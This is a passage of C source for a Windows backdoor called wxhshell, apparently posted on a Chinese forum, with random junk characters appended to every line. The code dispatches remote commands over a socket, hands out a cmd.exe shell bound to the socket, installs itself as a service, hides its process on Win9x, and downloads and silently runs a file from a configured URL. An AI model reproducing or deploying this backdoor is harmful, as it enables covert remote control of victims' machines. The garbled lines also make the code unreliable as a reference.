  // 帮助 gE1|lY$NL  
  case '?': { e SK((T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n5>B LtY  
    break; 9PCa*,  
  } q /:T1a7!  
  // 安装 <H-tZDh5  
  case 'i': { _r[r8M B  
    if(Install()) sU0Stg8&b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hw|t8 ShW  
    else cp|:8 [  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n{z8Ao%  
    break; q>P[nz%  
    } S_j1=6 #^  
  // 卸载 IY0 3"  
  case 'r': { 9D%qXU  
    if(Uninstall()) j7,13,t1-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' #KA+?@  
    else 7\f{'KL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gINwvzW{  
    break; "B~WcC  
    } _Ws#UL+Nq  
  // 显示 wxhshell 所在路径 4*H(sq  
  case 'p': { zF=#6  
    char svExeFile[MAX_PATH]; +*: }p  
    strcpy(svExeFile,"\n\r"); S;>4i!Mb ^  
      strcat(svExeFile,ExeFile); C)U #T)  
        send(wsh,svExeFile,strlen(svExeFile),0); A3<^ U  
    break; Xn PJC'  
    } e"lD`*U8R  
  // 重启 yr%yy+(.k  
  case 'b': { '1Y<RD>x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :|zp8|  
    if(Boot(REBOOT)) m'3OGvd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 87+.pM|t%  
    else { :ao^/&HZ  
    closesocket(wsh); 4bPqmEE  
    ExitThread(0); %-\FVKX  
    } Y' 2-yB  
    break; F9F" F  
    } 3>H2xh3Y  
  // 关机 Tw}@+-  
  case 'd': { j/~VP2R`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D 8gQR Q  
    if(Boot(SHUTDOWN)) ?U}sQ;c$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vwm|I7/w  
    else { 5Ws5X_?d  
    closesocket(wsh); AL(n *,  
    ExitThread(0); i[o&z$JO  
    } sN"p5p  
    break; /4(Z`e;0  
    } ;tXB46  
  // 获取shell ]!]`~ Z/  
  case 's': { =7FE/S  
    CmdShell(wsh); YomwjKyuP  
    closesocket(wsh); ~wa%fM  
    ExitThread(0); p .lu4  
    break; c5Z;%v |y  
  } ;_>s0rUV  
  // 退出 b=V)?"e-  
  case 'x': { CM`x>J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mgk64}K[n  
    CloseIt(wsh); LQ~LB'L  
    break; Ewa[Y=+tx  
    } ~o}moE/ ;O  
  // 离开 !&'# a  
  case 'q': { O\LjtMF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mipi]*ZfXE  
    closesocket(wsh); FAH[5VD r%  
    WSACleanup(); "ugX /r$_  
    exit(1); 5JO[+>  
    break; xWd9%,mDNR  
        } }*xC:A%aS  
  } N5[_a/  
  } ~l;yr @  
zfM<x,XdY  
  // 提示信息 ( K^YD K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ti0 (VdY  
} #&;m<%  
  } E6,`Ld;c[  
OJnPP>  
  return; -OHvK0~  
} QWU5-p9e8  
_K 4eD.  
// shell模块句柄 $ijx#a&O  
int CmdShell(SOCKET sock) 8yY"x ['  
{ 71K\.[ =-  
STARTUPINFO si; Na~g*)uT$  
ZeroMemory(&si,sizeof(si)); }~7H2d);-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R tXF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .q AQP L  
PROCESS_INFORMATION ProcessInfo; ~,(0h:8  
char cmdline[]="cmd"; e-nWD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rh wt<  
  return 0; 43UJ#rF  
} bx+(.F  
NTXws4'D  
// 自身启动模式 {Bav$kw;?e  
int StartFromService(void) m~Lf^gbG?  
{ J`U$b+q6  
typedef struct =g{_^^n  
{ QT7w::ht  
  DWORD ExitStatus; $M:4\E5(  
  DWORD PebBaseAddress; [V!^\g\6  
  DWORD AffinityMask; )_Z]=5Ds  
  DWORD BasePriority; BsoFQw4$9  
  ULONG UniqueProcessId; Y2RxD\!Z  
  ULONG InheritedFromUniqueProcessId; >WGX|"!"  
}   PROCESS_BASIC_INFORMATION; m]+X }|  
 9'L1KQ  
PROCNTQSIP NtQueryInformationProcess; ucIVVT(u  
T{5M1r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 31 KDeFg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; , V0iMq  
BDv|~NHs  
  HANDLE             hProcess; z|t.y.JX  
  PROCESS_BASIC_INFORMATION pbi; AxG?zBTFx  
Y/?DSo4G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (hD X4;4  
  if(NULL == hInst ) return 0; e#76h;  
-jcrXskb&N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :Su5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OF<[Nh\.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -y7l?N5F>  
ex;Y n{4  
  if (!NtQueryInformationProcess) return 0; s+OvS9et_  
,d/CU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S4@117z5  
  if(!hProcess) return 0; cG~_EX$  
VNOK>+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J.CZR[XF#  
f4@#pnJ3po  
  CloseHandle(hProcess); .{-iq(3  
+#i,87  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); il`C,CD  
if(hProcess==NULL) return 0; +E""8kW- Z  
Z(Ls#hp  
HMODULE hMod; r`mzsO-'  
char procName[255]; +ik N) D  
unsigned long cbNeeded; 9I^H)~S  
S%a}ip&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9v5.4a}  
x r+E  
  CloseHandle(hProcess); A7I8Z6&  
5jj5 7j"  
if(strstr(procName,"services")) return 1; // 以服务启动 %oSfL;W7  
j3V"d3)  
  return 0; // 注册表启动 D%5 {A=  
} YA/H;707l  
XH_qA[=c]  
// 主模块 Cbf,X[u  
int StartWxhshell(LPSTR lpCmdLine) :">~(Rd ZH  
{ *I;Mp  
  SOCKET wsl; 37za^n?SG  
BOOL val=TRUE; \sXm Mc  
  int port=0; u+, jAkr  
  struct sockaddr_in door; fR{WS:Pv  
":ws~Zep  
  if(wscfg.ws_autoins) Install(); =^".{h'-  
J[_?>YJ  
port=atoi(lpCmdLine); })yb   
[))2u:tbS\  
if(port<=0) port=wscfg.ws_port; u0$5Fd&X  
Hf E;$  
  WSADATA data; ;*85'WcS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; im^I9G  
.jG.90  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (vYf?+Kb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lfI7&d*  
  door.sin_family = AF_INET; ]T28q/B;k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b^|,9en  
  door.sin_port = htons(port); ?),K=E+=U  
6`{)p&9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cR@}   
closesocket(wsl); T J"{nB  
return 1; :[$i~V  
} *TMM:w|1  
@tU>~y{E  
  if(listen(wsl,2) == INVALID_SOCKET) { [$Xu  
closesocket(wsl); GQc%OQc\  
return 1; #7E&16Fk  
} 5tbiNm^X  
  Wxhshell(wsl); y5opdIaT  
  WSACleanup(); LnACce ?b  
BM}a?nnoc  
return 0; t3h \.(mq  
~NJLS-  
} hJtghG6v  
epm8N /  
// 以NT服务方式启动 ,hcBiL/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?)ZLxLV::  
{ ,\">ovV33  
DWORD   status = 0; 39^uLob  
  DWORD   specificError = 0xfffffff; ^gVbVz[17  
9R<J$e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {gq:sj>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /)HEx&SQmZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^SES')x  
  serviceStatus.dwWin32ExitCode     = 0; vN[m5)aT  
  serviceStatus.dwServiceSpecificExitCode = 0; @x\gk5  
  serviceStatus.dwCheckPoint       = 0; (4/`@;[  
  serviceStatus.dwWaitHint       = 0; P24    
[+5SEr}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k@X As  
  if (hServiceStatusHandle==0) return; [O =)FiY-  
Ql!6I(  
status = GetLastError(); eXtF[0f  
  if (status!=NO_ERROR) s</ktPtu  
{ iS^^Z ZyR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (5\d[||9g  
    serviceStatus.dwCheckPoint       = 0; /-} p7AM  
    serviceStatus.dwWaitHint       = 0; /:];2P6#X  
    serviceStatus.dwWin32ExitCode     = status; $[9V'K  
    serviceStatus.dwServiceSpecificExitCode = specificError; PfMOc+ q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ay. q)  
    return; 1F%*k &R  
  } 9hi(P*%q   
{Eb2<;1o{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $2Tty 7  
  serviceStatus.dwCheckPoint       = 0; E?W!.hbA  
  serviceStatus.dwWaitHint       = 0; bu!<0AP"N+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [ZpG+VAJ8  
} LHGK!zI  
Xwqf Wd_  
// 处理NT服务事件,比如:启动、停止  7qdl,z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !N2 n@bo  
{ <Ucfd G&Lp  
switch(fdwControl) uY#58?>'j  
{ >5Rw~  
case SERVICE_CONTROL_STOP: Bk(XJAjY  
  serviceStatus.dwWin32ExitCode = 0; \y+F!;IxL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BB}iBf I'  
  serviceStatus.dwCheckPoint   = 0; s#CEhb  
  serviceStatus.dwWaitHint     = 0; ; yC`5  
  { aIyY%QT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MhXm-<4  
  } c;fyUi  
  return; (3HgI  
case SERVICE_CONTROL_PAUSE: K0bmU(Xxp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rAi!'vIE  
  break; &S`'o%B  
case SERVICE_CONTROL_CONTINUE: :1Yd;%>92  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jfhDi6N  
  break; p~ VW3u]  
case SERVICE_CONTROL_INTERROGATE: YRX2^v ^[  
  break; |r!Qhb.!  
}; q>h+Ke  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y  .X-8  
} M> l+[U  
jT_Tx\k  
// 标准应用程序主函数 yru}f;1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fpC@3itI  
{ v8M#%QoA  
m(Xr5hw:6  
// 获取操作系统版本 &_TjRj"  
OsIsNt=GetOsVer(); Q#AHEm{9;s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M(gWd8?#  
 l3 Bc g  
  // 从命令行安装 iK23`@&% _  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lr]Hvd   
>TVd*S  
  // 下载执行文件 &dMSX}t  
if(wscfg.ws_downexe) { Z#t.wWSq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E<[ bgL  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hm[!R:HW,S  
} eyp\h8!u_  
@Pg@ltUd  
if(!OsIsNt) { #8HXR3L5=!  
// 如果时win9x,隐藏进程并且设置为注册表启动 gG?*Fi  
HideProc(); ?v*7!2;  
StartWxhshell(lpCmdLine); 4C*=8oe_  
} nqW:P$  
else im%3*bv-  
  if(StartFromService()) 2n,73$ s  
  // 以服务方式启动 YuuG:Kk  
  StartServiceCtrlDispatcher(DispatchTable); "+C\f)  
else y^fU_L?p  
  // 普通方式启动 sX?7`n1U  
  StartWxhshell(lpCmdLine); DFH6.0UW  
(9lx5  
return 0; WM7/|.HQ  
}
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只看该作者 1 发表于: 2006-10-10
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